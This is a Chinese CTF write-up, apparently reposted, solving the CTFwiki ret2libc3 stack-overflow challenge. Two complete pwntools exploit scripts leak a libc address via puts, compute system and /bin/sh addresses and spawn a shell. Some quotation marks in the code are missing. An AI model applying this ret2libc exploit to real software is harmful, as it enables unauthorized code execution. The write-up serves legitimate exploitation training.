[WP]CTFwiki-ret2libc3

Posted tsuiyields

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[WP]CTFwiki-ret2libc3相关的知识,希望对你有一定的参考价值。

1.例行检查程序。具有 NX 保护。

技术图片

 

 2.IDA载入之后,发现有一个 gets 函数,而 gets 函数使用方便但是十分危险的,因为它对输入长度没有限制,因此我们可以通过 gets 来达到溢出的目的。

 

技术图片

 

 

3.通过 IDA 我们发现并没有预留 system 函数和 /bin/sh 字符串。但是我们发现了 printf 函数,通过这个函数我们便可以将已经执行过的函数的实际地址给泄露出来。

技术图片

4.之后我们计算溢出点,便可以先将部分函数泄露出来。我选择的是泄露 __libc_start_main 和 puts 两个函数地址。

#!/usr/bin/env python
from pwn import *

p = process(./ret2libc3)
elf = ELF(./ret2libc3)
puts_plt = elf.plt[puts]
libc_start_main_got = elf.got[__libc_start_main]
main = elf.symbols[main]
puts_got = elf.got[puts]

print "leak libc_start_main_got addr and return to main again"
payload1 = a * 112
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(libc_start_main_got)          ##需要泄露的函数地址
p.recvuntil(Can you find it !?)
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])     
print("addr:" + hex(libc_start_main_addr))

 

 技术图片

 

 5.通过这两个地址,我们便可以得到 libc 的版本了。

 

#libc_start_main = 0xf7df5d90
#puts_got = 0xf7e44b40

技术图片

 

6.之后我们便可以构造完整的 exp 了。(通过 LibcSearcher 也可以直接找到 libc 的版本。)

#!/usr/bin/env python
from pwn import *

#####from LibcSearcher import LibcSearcher#####

p = process(./ret2libc3)
elf = ELF(./ret2libc3)
puts_plt = elf.plt[puts]
libc_start_main_got = elf.got[__libc_start_main]
main = elf.symbols[main]
puts_got = elf.got[puts]

print "leak libc_start_main_got addr and return to main again"
payload1 = a * 112
payload1 += p32(puts_plt)
payload1 += p32(main)
payload1 += p32(libc_start_main_got)
p.recvuntil(Can you find it !?)
p.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])
print("addr:" + hex(libc_start_main_addr))
#libc = LibcSearcher(‘__libc_start_main‘, libc_start_main_addr)
#base_addr = libc_start_main_addr - libc.dump(‘__libc_start_main‘)
#sys_addr = base + libc.dump(‘system‘)
#bin_sh_addr = base + libc.dump(‘str_bin_sh‘)

base = libc_start_main_addr - 0x018d90
sys_addr = 0x03d200 + base
print "system:" + hex(sys_addr)
bin_sh_addr = 0x17e0cf + base
print "binsh:" + hex(bin_sh_addr)
print "get shell"

payload = a * 104          #第二次重定位
payload += p32(sys_addr)
payload += p32(0xdeadbeef)
payload += p32(bin_sh_addr)

p.sendline(payload)
p.interactive()

 

技术图片

 

 

以上是关于[WP]CTFwiki-ret2libc3的主要内容,如果未能解决你的问题,请参考以下文章

堆栈认知——栈溢出实例(ret2libc)

堆栈认知——栈溢出实例(ret2libc)

Wordpress阻止访问wp admin€“wpsnipp.com网站你博客的Wordpress代码片段

php WP片段(HTML,内部主题)

html 社交分享片段(WP)

markdown WordPress片段:使用WP CLI检查数据库